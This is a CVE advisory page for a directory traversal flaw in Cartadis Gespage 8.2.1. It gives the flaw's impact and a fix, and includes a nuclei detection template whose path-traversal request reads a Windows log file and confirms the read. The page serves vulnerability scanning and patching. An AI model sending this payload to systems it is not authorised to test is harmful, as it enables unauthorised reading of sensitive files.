HexBrain

Browse / CVEs / CVE-2021-33807

CVE-2021-33807· gespage / gespage· CWE-22

Cartadis Gespage 8.2.1 - Directory Traversal

highseverity
7.5CVSS score
16.1%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Cartadis Gespage through 8.2.1 allows Directory Traversal in gespage/doDownloadData and gespage/webapp/doDownloadData.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further compromise of the system.

Fix

Apply the latest security patch or update provided by the vendor to fix the directory traversal vulnerability in Cartadis Gespage 8.2.1.

How to confirm it

Send: GET {{BaseURL}}/gespage/doDownloadData?file_name=../../../../../Windows/debug/NetSetup.log
Positive when: contains "NetpDoDomainJoin:" AND contains in header "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2021-33807 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-33807

info:
  name: Cartadis Gespage 8.2.1 - Directory Traversal
  author: daffainfo
  severity: high
  description: Cartadis Gespage through 8.2.1 allows Directory Traversal in gespage/doDownloadData and gespage/webapp/doDownloadData.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further compromise of the system.
  remediation: |
    Apply the latest security patch or update provided by the vendor to fix the directory traversal vulnerability in Cartadis Gespage 8.2.1.
  reference:
    - https://www.on-x.com/sites/default/files/on-x_-_security_advisory_-_gespage_-_cve-2021-33807.pdf
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33807
    - https://www.gespage.com/cartadis-db/
    - https://www.cartadis.com/gespage-website/
    - https://support.gespage.com/fr/support/solutions/articles/14000130201-security-advisory-gespage-directory-traversal
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-33807
    cwe-id: CWE-22
    epss-score: 0.16139
    epss-percentile: 0.96955
    cpe: cpe:2.3:a:gespage:gespage:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gespage
    product: gespage
  tags: cve2021,cve,lfi,gespage,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/gespage/doDownloadData?file_name=../../../../../Windows/debug/NetSetup.log"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "NetpDoDomainJoin:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from